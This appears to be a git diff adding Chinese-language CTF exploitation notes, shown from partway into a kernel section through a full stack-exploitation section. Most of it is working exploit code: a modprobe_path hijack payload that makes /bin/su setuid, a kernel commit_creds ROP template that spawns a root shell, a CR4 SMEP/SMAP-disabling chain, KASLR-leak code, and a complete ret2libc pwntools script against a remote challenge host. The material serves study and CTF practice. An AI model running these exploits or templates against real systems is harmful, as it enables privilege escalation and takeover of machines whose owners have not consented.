+
"movq %%rsp, %3\n"
|
|
163
|
+
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
|
|
164
|
+
}
|
|
165
|
+
void shell() { system("/bin/sh"); }
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### 2. modprobe_path 改 /tmp/x(最省事)
|
|
169
|
+
|
|
170
|
+
```text
|
|
171
|
+
原理:
|
|
172
|
+
- 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
|
|
173
|
+
- 当 execve 一个不认识 magic 的文件时,内核调用 modprobe_path 以 root 执行
|
|
174
|
+
- 改成 "/tmp/x",写 /tmp/x(chmod +x),触发未知 magic 执行
|
|
175
|
+
|
|
176
|
+
适用:有任意写原语,但不一定能 ROP
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
```c
|
|
180
|
+
// 1. 准备 payload
|
|
181
|
+
system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
|
|
182
|
+
system("chmod +x /tmp/x");
|
|
183
|
+
|
|
184
|
+
// 2. 准备触发文件
|
|
185
|
+
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
|
|
186
|
+
system("chmod +x /tmp/trigger");
|
|
187
|
+
|
|
188
|
+
// 3. 漏洞写:把 modprobe_path 改成 "/tmp/x\x00"
|
|
189
|
+
arbitrary_write(modprobe_path_addr, "/tmp/x\x00");
|
|
190
|
+
|
|
191
|
+
// 4. 触发
|
|
192
|
+
system("/tmp/trigger");
|
|
193
|
+
// 内核 root 跑 /tmp/x,做了 chmod +s /bin/su
|
|
194
|
+
|
|
195
|
+
// 5. 利用 setuid
|
|
196
|
+
system("/bin/su");
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**modprobe_path 地址来源**:vmlinux 里符号,或 /proc/kallsyms(如果 kptr_restrict=0)。
|
|
200
|
+
|
|
201
|
+
### 3. core_pattern hijack
|
|
202
|
+
|
|
203
|
+
```text
|
|
204
|
+
类似思想:/proc/sys/kernel/core_pattern 控制 coredump 处理程序
|
|
205
|
+
改成 "|/tmp/x %P",让进程崩溃时调用
|
|
206
|
+
缺点:需要触发 coredump,比 modprobe_path 笨重
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### 4. 内核 ROP 关 SMEP/SMAP
|
|
210
|
+
|
|
211
|
+
如果就是想跳回用户态 shellcode(学习目的),可以 ROP 关 cr4 的 bit:
|
|
212
|
+
|
|
213
|
+
```c
|
|
214
|
+
// CR4: SMEP = bit 20, SMAP = bit 21
|
|
215
|
+
// 关 SMEP+SMAP 后,jmp 到用户态 shellcode 才能跑
|
|
216
|
+
uint64_t rop[] = {
|
|
217
|
+
pop_rdi,
|
|
218
|
+
0x6f0, // CR4 期望值(去掉 SMEP/SMAP 位)
|
|
219
|
+
mov_cr4_rdi, // "mov cr4, rdi; pop rbp; ret" 之类
|
|
220
|
+
0,
|
|
221
|
+
user_shellcode_addr, // 跳过去(如果还没关 SMEP 这步会失败)
|
|
222
|
+
};
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
实际上**真实利用基本不走这条路** — 直接 commit_creds ROP 更短更稳。
|
|
226
|
+
|
|
227
|
+
## KASLR leak 渠道
|
|
228
|
+
|
|
229
|
+
| 来源 | 限制 | 备注 |
|
|
230
|
+
|------|------|------|
|
|
231
|
+
| /proc/kallsyms | `kptr_restrict=0` 才有真地址 | CTF 常常开放 |
|
|
232
|
+
| /sys/module/.../sections/.text | 同上 | 模块基址 |
|
|
233
|
+
| dmesg | `dmesg_restrict=0` 才能读 | oops 信息泄漏地址 |
|
|
234
|
+
| 内核栈未初始化读 | 漏洞本身要能任意读 | 残留地址 |
|
|
235
|
+
| msg_msg + 漏洞 leak | 喷射后 OOB read | 通用 |
|
|
236
|
+
| 旁路(Meltdown/Spectre) | KPTI 修了 Meltdown | 不通用 |
|
|
237
|
+
| SIDT/SGDT 用户态指令 | 老内核可能漏 | 现代基本封了 |
|
|
238
|
+
|
|
239
|
+
```c
|
|
240
|
+
// 经典:从 /proc/kallsyms 读
|
|
241
|
+
FILE *f = fopen("/proc/kallsyms", "r");
|
|
242
|
+
char line[256];
|
|
243
|
+
unsigned long commit_creds = 0;
|
|
244
|
+
while (fgets(line, sizeof(line), f)) {
|
|
245
|
+
if (strstr(line, " commit_creds")) {
|
|
246
|
+
commit_creds = strtoul(line, NULL, 16);
|
|
247
|
+
break;
|
|
248
|
+
}
|
|
249
|
+
}
|
|
250
|
+
unsigned long kbase = commit_creds - 0xXXXXX; // 偏移看 vmlinux
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
## 完整 exploit 模板(用户态 + ioctl 触发 + ROP 提权 + shell)
|
|
254
|
+
|
|
255
|
+
```c
|
|
256
|
+
// exploit.c — 内核 pwn 通用骨架
|
|
257
|
+
#define _GNU_SOURCE
|
|
258
|
+
#include <stdio.h>
|
|
259
|
+
#include <stdlib.h>
|
|
260
|
+
#include <unistd.h>
|
|
261
|
+
#include <fcntl.h>
|
|
262
|
+
#include <string.h>
|
|
263
|
+
#include <sys/ioctl.h>
|
|
264
|
+
#include <sys/mman.h>
|
|
265
|
+
|
|
266
|
+
static unsigned long user_cs, user_ss, user_rflags, user_rsp;
|
|
267
|
+
|
|
268
|
+
static void save_state(void) {
|
|
269
|
+
__asm__ volatile(
|
|
270
|
+
"movq %%cs, %0\n"
|
|
271
|
+
"movq %%ss, %1\n"
|
|
272
|
+
"pushfq; popq %2\n"
|
|
273
|
+
"movq %%rsp, %3\n"
|
|
274
|
+
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
|
|
275
|
+
:: "memory");
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
static void win(void) {
|
|
279
|
+
if (getuid() == 0) {
|
|
280
|
+
puts("[+] root!");
|
|
281
|
+
system("/bin/sh");
|
|
282
|
+
} else {
|
|
283
|
+
puts("[-] not root");
|
|
284
|
+
}
|
|
285
|
+
exit(0);
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
// === KASLR base(先 leak 或 nokaslr 时直接写死) ===
|
|
289
|
+
#define KBASE_DEFAULT 0xffffffff81000000UL
|
|
290
|
+
#define OFF_COMMIT_CREDS 0x0xxxxx
|
|
291
|
+
#define OFF_PREPARE_KERNEL_CRED 0x0xxxxx
|
|
292
|
+
#define OFF_POP_RDI 0x0xxxxx
|
|
293
|
+
#define OFF_MOV_RDI_RAX 0x0xxxxx
|
|
294
|
+
#define OFF_SWAPGS_RESTORE 0x0xxxxx
|
|
295
|
+
|
|
296
|
+
int main(void) {
|
|
297
|
+
save_state();
|
|
298
|
+
|
|
299
|
+
// 1. leak KASLR base(这里假设 /proc/kallsyms 可读,或自己写一个 leak primitive)
|
|
300
|
+
unsigned long kbase = leak_kbase();
|
|
301
|
+
|
|
302
|
+
unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
|
|
303
|
+
unsigned long commit_creds = kbase + OFF_COMMIT_CREDS;
|
|
304
|
+
unsigned long pop_rdi = kbase + OFF_POP_RDI;
|
|
305
|
+
unsigned long mov_rdi_rax = kbase + OFF_MOV_RDI_RAX;
|
|
306
|
+
unsigned long swapgs_restore = kbase + OFF_SWAPGS_RESTORE + 22;
|
|
307
|
+
|
|
308
|
+
// 2. 构造 ROP(在用户栈或在喷出来的 fake 栈上)
|
|
309
|
+
unsigned long *rop = mmap((void*)0x100000, 0x1000,
|
|
310
|
+
PROT_READ|PROT_WRITE,
|
|
311
|
+
MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
|
|
312
|
+
int i = 0;
|
|
313
|
+
rop[i++] = pop_rdi;
|
|
314
|
+
rop[i++] = 0;
|
|
315
|
+
rop[i++] = prepare_kernel_cred;
|
|
316
|
+
rop[i++] = mov_rdi_rax;
|
|
317
|
+
rop[i++] = commit_creds;
|
|
318
|
+
rop[i++] = swapgs_restore;
|
|
319
|
+
rop[i++] = 0; // rax
|
|
320
|
+
rop[i++] = 0; // rdi
|
|
321
|
+
rop[i++] = (unsigned long)win;
|
|
322
|
+
rop[i++] = user_cs;
|
|
323
|
+
rop[i++] = user_rflags;
|
|
324
|
+
rop[i++] = (unsigned long)(rop + 100); // 临时 user rsp,可指 mmap 高处
|
|
325
|
+
rop[i++] = user_ss;
|
|
326
|
+
|
|
327
|
+
// 3. 触发漏洞,让内核 RIP 跳到 rop[0]
|
|
328
|
+
int fd = open("/dev/vuln", O_RDWR);
|
|
329
|
+
trigger(fd, rop); // 题目相关:ioctl / write / read
|
|
330
|
+
|
|
331
|
+
return 0;
|
|
332
|
+
}
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
## 学习参考:CVE-2022-0185
|
|
336
|
+
|
|
337
|
+
```text
|
|
338
|
+
漏洞:fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
|
|
339
|
+
→ kmalloc 堆缓冲区溢出,size 任意,data 任意
|
|
340
|
+
|
|
341
|
+
为什么是好的学习样本:
|
|
342
|
+
1. 不需要 root 触发(unprivileged user namespace)
|
|
343
|
+
2. 溢出大小完全可控
|
|
344
|
+
3. 公开有完整 writeup + PoC
|
|
345
|
+
4. 综合了:user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用
|
|
346
|
+
|
|
347
|
+
学习路径:
|
|
348
|
+
1. 编译带 CONFIG_USER_NS=y 的内核
|
|
349
|
+
2. 跑 Crusaders of Rust 的原版 PoC:https://www.openwall.com/lists/oss-security/2022/01/18/7
|
|
350
|
+
3. 看 willsroot.io 的官方 writeup(PortSwigger 收录的版本)
|
|
351
|
+
4. 手动重写:把 msg_msg 喷射改成 pipe_buffer 喷射版本(练习不同 slab 路径)
|
|
352
|
+
5. 加上 KASLR leak(原版用 /proc/kallsyms,挑战版禁用后改 OOB read)
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
主要技术点对应本文档的章节:
|
|
356
|
+
|
|
357
|
+
- 漏洞类型 → "内核堆溢出"
|
|
358
|
+
- 喷射对象 → "msg_msg 喷射"
|
|
359
|
+
- 提权方法 → "commit_creds ROP" 或 "modprobe_path"
|
|
360
|
+
- KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"
|
|
361
|
+
|
|
362
|
+
## 注意事项
|
|
363
|
+
|
|
364
|
+
- **CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT** 让内核栈基址每次 syscall 都随机偏移 0-1023,影响所有依赖固定栈偏移的利用
|
|
365
|
+
- **CONFIG_SLAB_FREELIST_RANDOM / HARDENED** 让 slab 内对象分配随机化,喷射成功率下降,要多喷
|
|
366
|
+
- **CONFIG_STATIC_USERMODEHELPER** 把 modprobe_path 设为只读 `static_usermodehelper_path`,modprobe 攻击失效
|
|
367
|
+
- **KPTI** 让用户态/内核态页表分离,返回用户态必须走 `swapgs_restore_regs_and_return_to_usermode` 这个 trampoline,不能直接 swapgs+iretq
|
|
368
|
+
- **FG-KASLR**(function-granular KASLR)让函数级别随机化,需要 leak 多个符号反推每个函数偏移
|
|
369
|
+
- **CET / IBT**(Intel 控制流强制)让间接跳转必须落在 ENDBR 指令,部分 gadget 失效
|
|
370
|
+
- **不要在内核里调 printk 输出测试** — 串口 IO 会改变时序,破坏 race;用一个 magic 寄存器值(rcx=0xdeadbeef)+ gdb watch 来调试
|
|
@@ -0,0 +1,312 @@
|
|
|
1
|
+
# 栈类利用 (Stack Pwn)
|
|
2
|
+
|
|
3
|
+
## 触发条件与前置检测
|
|
4
|
+
|
|
5
|
+
### checksec 解读
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
checksec --file=./vuln
|
|
9
|
+
# 或 pwntools 自带
|
|
10
|
+
python -c "from pwn import *; print(ELF('./vuln'))"
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
| 输出字段 | 影响 | 应对 |
|
|
14
|
+
|---------|------|------|
|
|
15
|
+
| `NX disabled` | 栈可执行 | 直接塞 shellcode |
|
|
16
|
+
| `Canary found` | 栈溢出会被检测 | 必须先 leak canary 或绕过 (forked process / 格式化字符串) |
|
|
17
|
+
| `PIE enabled` | .text 基址随机 | 必须 leak 一个代码地址 |
|
|
18
|
+
| `No PIE` | .text 固定 | gadget 地址写死 |
|
|
19
|
+
| `Full RELRO` | got 不可写 | 不能改 got,走 ret2libc / one_gadget |
|
|
20
|
+
| `Partial RELRO` | got 可写 | 可以改 got 表 |
|
|
21
|
+
| `FORTIFY` | 部分 libc 函数被替换为 `_chk` 版本 | `read_chk` 仍然能溢出,`strcpy_chk` 不行 |
|
|
22
|
+
|
|
23
|
+
### 栈溢出长度精确定位
|
|
24
|
+
|
|
25
|
+
```python
|
|
26
|
+
# pwntools cyclic 模式
|
|
27
|
+
from pwn import *
|
|
28
|
+
context.arch = 'amd64'
|
|
29
|
+
|
|
30
|
+
# 1. 生成 cyclic pattern
|
|
31
|
+
payload = cyclic(200)
|
|
32
|
+
|
|
33
|
+
# 2. 喂给程序触发崩溃
|
|
34
|
+
p = process('./vuln')
|
|
35
|
+
p.sendline(payload)
|
|
36
|
+
p.wait()
|
|
37
|
+
|
|
38
|
+
# 3. 从 core dump 读 RSP 上的值
|
|
39
|
+
core = p.corefile
|
|
40
|
+
fault = core.fault_addr # 或 core.rsp 指向的 8 字节
|
|
41
|
+
offset = cyclic_find(fault & 0xffffffff) # 32-bit 模式
|
|
42
|
+
# 64-bit 用 cyclic_find(p64(fault)[:8])
|
|
43
|
+
log.info(f"offset = {offset}")
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### 32 / 64 位 calling convention 速查
|
|
47
|
+
|
|
48
|
+
| 架构 | 参数传递 | 返回 | 备注 |
|
|
49
|
+
|------|---------|------|------|
|
|
50
|
+
| x86 (32-bit) | 栈传参(cdecl: 调用者清栈) | eax | 栈结构:ret_addr, arg1, arg2, ... |
|
|
51
|
+
| x86-64 SysV | rdi, rsi, rdx, rcx, r8, r9, 栈 | rax | rsp 必须 16-byte 对齐到 call 入口 |
|
|
52
|
+
| ARM32 | r0-r3, 栈 | r0 | lr 保存返回地址,bx lr 返回 |
|
|
53
|
+
| ARM64 | x0-x7, 栈 | x0 | 类似 SysV,更严格的对齐 |
|
|
54
|
+
|
|
55
|
+
## ret2libc 完整 pwntools 模板
|
|
56
|
+
|
|
57
|
+
```python
|
|
58
|
+
#!/usr/bin/env python3
|
|
59
|
+
from pwn import *
|
|
60
|
+
|
|
61
|
+
# === 环境配置 ===
|
|
62
|
+
exe = './vuln'
|
|
63
|
+
libc_path = './libc.so.6'
|
|
64
|
+
HOST, PORT = 'chal.example.com', 31337
|
|
65
|
+
|
|
66
|
+
context.binary = elf = ELF(exe)
|
|
67
|
+
context.log_level = 'info'
|
|
68
|
+
libc = ELF(libc_path)
|
|
69
|
+
|
|
70
|
+
# 自动 patchelf 让本地用题目给的 libc
|
|
71
|
+
# patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln
|
|
72
|
+
|
|
73
|
+
def conn():
|
|
74
|
+
if args.REMOTE:
|
|
75
|
+
return remote(HOST, PORT)
|
|
76
|
+
if args.GDB:
|
|
77
|
+
return gdb.debug(exe, gdbscript='''
|
|
78
|
+
b *main+123
|
|
79
|
+
continue
|
|
80
|
+
''')
|
|
81
|
+
return process(exe)
|
|
82
|
+
|
|
83
|
+
# === Stage 1: leak libc ===
|
|
84
|
+
p = conn()
|
|
85
|
+
|
|
86
|
+
OFFSET = 0x48 # 通过 cyclic 测出来
|
|
87
|
+
pop_rdi = 0x0000000000401383 # ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
|
|
88
|
+
ret = 0x000000000040101a # 用于栈对齐
|
|
89
|
+
|
|
90
|
+
payload = b'A' * OFFSET
|
|
91
|
+
payload += p64(pop_rdi)
|
|
92
|
+
payload += p64(elf.got['puts']) # 让 puts 打印 puts@got 自己的地址
|
|
93
|
+
payload += p64(elf.plt['puts'])
|
|
94
|
+
payload += p64(elf.sym['main']) # 回到 main,复用栈溢出做第二轮
|
|
95
|
+
|
|
96
|
+
p.sendlineafter(b'> ', payload)
|
|
97
|
+
|
|
98
|
+
# 接收 leak(注意 recvuntil 锚字符串,不要用 sleep)
|
|
99
|
+
p.recvuntil(b'bye\n')
|
|
100
|
+
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
|
|
101
|
+
log.success(f'leaked puts @ {hex(leak)}')
|
|
102
|
+
|
|
103
|
+
# 反查 libc base
|
|
104
|
+
libc.address = leak - libc.sym['puts']
|
|
105
|
+
log.success(f'libc base = {hex(libc.address)}')
|
|
106
|
+
|
|
107
|
+
# === Stage 2: ret2libc system("/bin/sh") ===
|
|
108
|
+
binsh = next(libc.search(b'/bin/sh\x00'))
|
|
109
|
+
system = libc.sym['system']
|
|
110
|
+
|
|
111
|
+
payload = b'A' * OFFSET
|
|
112
|
+
payload += p64(ret) # 关键:补齐 16-byte 对齐
|
|
113
|
+
payload += p64(pop_rdi)
|
|
114
|
+
payload += p64(binsh)
|
|
115
|
+
payload += p64(system)
|
|
116
|
+
|
|
117
|
+
p.sendlineafter(b'> ', payload)
|
|
118
|
+
|
|
119
|
+
p.interactive()
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### 栈对齐坑(必看)
|
|
123
|
+
|
|
124
|
+
```text
|
|
125
|
+
现象:本地能打通,远程 system 一进去就 SIGSEGV
|
|
126
|
+
原因:libc 的 system → do_system → 内部某处 movaps xmm0, [rsp]
|
|
127
|
+
要求 rsp 16-byte 对齐
|
|
128
|
+
失败:你的 ROP 链跳进 system 时,rsp 末位是 0x8 而不是 0x0
|
|
129
|
+
修复:在 ROP 链里插一个 `ret` gadget(消耗 8 字节,让 rsp 重新对齐)
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
## ret2csu(万能 gadget)
|
|
133
|
+
|
|
134
|
+
当二进制里没有 `pop rdx; ret` 这种第三参数 gadget 时,用 `__libc_csu_init` 里的固定结构(glibc < 2.34 静态链接的程序里都有)。
|
|
135
|
+
|
|
136
|
+
```text
|
|
137
|
+
__libc_csu_init 末尾固定 pattern:
|
|
138
|
+
add rsp, 8
|
|
139
|
+
pop rbx
|
|
140
|
+
pop rbp
|
|
141
|
+
pop r12
|
|
142
|
+
pop r13
|
|
143
|
+
pop r14
|
|
144
|
+
pop r15
|
|
145
|
+
ret
|
|
146
|
+
|
|
147
|
+
中间还有:
|
|
148
|
+
mov rdx, r15 ; r15 → rdx
|
|
149
|
+
mov rsi, r14 ; r14 → rsi
|
|
150
|
+
mov edi, r13d ; r13 → rdi (低 32 位)
|
|
151
|
+
call qword ptr [r12 + rbx*8]
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
pwntools 写法:
|
|
155
|
+
|
|
156
|
+
```python
|
|
157
|
+
csu_pop = 0x40119a # 第一段(pop rbx..r15; ret)
|
|
158
|
+
csu_call = 0x401180 # 第二段(mov rdx,r15; ... ; call [r12+rbx*8])
|
|
159
|
+
|
|
160
|
+
def csu(rdi, rsi, rdx, call_target):
|
|
161
|
+
p = p64(csu_pop)
|
|
162
|
+
p += p64(0) # rbx = 0
|
|
163
|
+
p += p64(1) # rbp = 1(要使后续 cmp rbx,rbp 通过 → rbx+1 == rbp)
|
|
164
|
+
p += p64(call_target) # r12 = [r12+rbx*8] 解引用得到目标
|
|
165
|
+
p += p64(rdi) # r13
|
|
166
|
+
p += p64(rsi) # r14
|
|
167
|
+
p += p64(rdx) # r15
|
|
168
|
+
p += p64(csu_call)
|
|
169
|
+
p += b'\x00' * 8 * 7 # 第二段 ret 后又 pop 7 个
|
|
170
|
+
return p
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
适用:bss 里写一个函数指针,再用 csu 调用它,常用于 `read(0, bss, 0x100)` 阶段后跳到 bss 执行 ROP。
|
|
174
|
+
|
|
175
|
+
## one_gadget 用法
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
one_gadget ./libc.so.6
|
|
179
|
+
|
|
180
|
+
# 输出类似:
|
|
181
|
+
# 0xe3afe execve("/bin/sh", r15, r12)
|
|
182
|
+
# constraints:
|
|
183
|
+
# [r15] == NULL || r15 == NULL
|
|
184
|
+
# [r12] == NULL || r12 == NULL
|
|
185
|
+
|
|
186
|
+
# 0xe3b01 execve("/bin/sh", r15, rdx)
|
|
187
|
+
# constraints:
|
|
188
|
+
# [r15] == NULL || r15 == NULL
|
|
189
|
+
# [rdx] == NULL || rdx == NULL
|
|
190
|
+
|
|
191
|
+
# 0xe3b04 execve("/bin/sh", rsi, rdx)
|
|
192
|
+
# constraints:
|
|
193
|
+
# [rsi] == NULL || rsi == NULL
|
|
194
|
+
# [rdx] == NULL || rdx == NULL
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
使用:
|
|
198
|
+
|
|
199
|
+
```python
|
|
200
|
+
og = [0xe3afe, 0xe3b01, 0xe3b04]
|
|
201
|
+
payload = b'A' * OFFSET
|
|
202
|
+
payload += p64(ret)
|
|
203
|
+
payload += p64(libc.address + og[1]) # 挑约束能满足的那个
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
**坑**:one_gadget 在某些 libc 版本(2.34+)约束极难满足,老老实实 ret2libc 更稳。
|
|
207
|
+
|
|
208
|
+
## libc-database 反查
|
|
209
|
+
|
|
210
|
+
场景:题目没给 libc,只能 leak 几个函数地址反推版本。
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
cd ~/tools/libc-database
|
|
214
|
+
|
|
215
|
+
# 用 leak 出来的 puts 和 read 地址(取后 3 位)反查
|
|
216
|
+
./find puts 0x6f0 read 0xfd
|
|
217
|
+
# 输出:libc6_2.31-0ubuntu9.9_amd64
|
|
218
|
+
|
|
219
|
+
# 拿对应 libc 的所有符号偏移
|
|
220
|
+
./dump libc6_2.31-0ubuntu9.9_amd64
|
|
221
|
+
|
|
222
|
+
# 下载实际 libc.so.6 到本地
|
|
223
|
+
ls db/libc6_2.31-0ubuntu9.9_amd64.so
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
pwntools 集成:
|
|
227
|
+
|
|
228
|
+
```python
|
|
229
|
+
# 在线 libc-database 查询(无需本地)
|
|
230
|
+
from pwnlib.libcdb import search_by_symbol_offsets
|
|
231
|
+
libs = search_by_symbol_offsets({'puts': 0x6f0, 'read': 0xfd})
|
|
232
|
+
libc = ELF(libs[0])
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
## ROPgadget 速查
|
|
236
|
+
|
|
237
|
+
```bash
|
|
238
|
+
# 基础:pop|ret 单 reg
|
|
239
|
+
ROPgadget --binary ./vuln --only "pop|ret"
|
|
240
|
+
|
|
241
|
+
# 找 syscall
|
|
242
|
+
ROPgadget --binary ./vuln | grep ': syscall'
|
|
243
|
+
|
|
244
|
+
# 找带特定字节
|
|
245
|
+
ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep 'pop rdi'
|
|
246
|
+
|
|
247
|
+
# 找字符串
|
|
248
|
+
ROPgadget --binary ./libc.so.6 --string '/bin/sh'
|
|
249
|
+
|
|
250
|
+
# 输出 JSON 给程序解析
|
|
251
|
+
ROPgadget --binary ./vuln --json > gadgets.json
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
Ropper 替代(架构支持更广):
|
|
255
|
+
|
|
256
|
+
```bash
|
|
257
|
+
ropper --file ./vuln --search "pop rdi; ret"
|
|
258
|
+
ropper --file ./libc.so.6 --search "syscall"
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
## 远程稳定化清单
|
|
262
|
+
|
|
263
|
+
| 问题 | 现象 | 解决 |
|
|
264
|
+
|------|------|------|
|
|
265
|
+
| libc 版本错 | 本地通,远程 SIGSEGV in system | leak 后用 libc-database 反查实际版本 |
|
|
266
|
+
| 栈对齐 | system 立刻段错误 | 加一个 `ret` gadget |
|
|
267
|
+
| 网络延迟 | recv 收到一半 | 用 `recvuntil(b'锚字符串')`,不用 `sleep` |
|
|
268
|
+
| 缓冲 | sendline 发完没反应 | 改 `sendlineafter`,明确等到 prompt 再发 |
|
|
269
|
+
| ASLR 浮动 | 概率成功 | 看是否 byte-level brute(1/16 概率不算稳定) |
|
|
270
|
+
| TCP nagle | 小包合并 | `p.settimeout(2); p.recvall(timeout=2)` 保底 |
|
|
271
|
+
|
|
272
|
+
## 调试技巧
|
|
273
|
+
|
|
274
|
+
```python
|
|
275
|
+
# pwntools 内嵌 gdb attach
|
|
276
|
+
p = process('./vuln')
|
|
277
|
+
gdb.attach(p, '''
|
|
278
|
+
b *main+0x123
|
|
279
|
+
b *0x401234
|
|
280
|
+
commands
|
|
281
|
+
telescope $rsp 20
|
|
282
|
+
continue
|
|
283
|
+
end
|
|
284
|
+
''')
|
|
285
|
+
|
|
286
|
+
# 一开始就在 gdb 里跑
|
|
287
|
+
p = gdb.debug('./vuln', '''
|
|
288
|
+
set follow-fork-mode child
|
|
289
|
+
b main
|
|
290
|
+
''')
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
GEF/pwndbg 常用命令:
|
|
294
|
+
|
|
295
|
+
```text
|
|
296
|
+
checksec # 看保护
|
|
297
|
+
vmmap # 内存布局
|
|
298
|
+
telescope $rsp 30 # 栈链路(pwndbg)
|
|
299
|
+
stack 30 # 类似(GEF)
|
|
300
|
+
got # GOT 表
|
|
301
|
+
search-pattern "/bin/sh"
|
|
302
|
+
context # 自动显示 reg + stack + code(默认开)
|
|
303
|
+
ropgadget # 内嵌 gadget 搜索
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
## 注意事项
|
|
307
|
+
|
|
308
|
+
- **NX 关 + ASLR 关**才能直接 shellcode;现代二进制基本都开 NX
|
|
309
|
+
- **canary 在 fork 子进程里不变** — forking server 可以一次 byte 一次 byte 爆破(1/256 × 7 字节)
|
|
310
|
+
- **格式化字符串可以同时 leak canary 和 libc** — 用 `%p %p ... %p` 扫栈
|
|
311
|
+
- **DynELF 慢但万能** — 完全没给 libc 时,pwntools 的 `DynELF` 可以纯靠程序自己的 IO 原语逐字节 leak 符号表
|
|
312
|
+
- **静态链接的程序没有 libc.got** — 走 SROP(sigreturn-oriented programming)或直接 syscall
|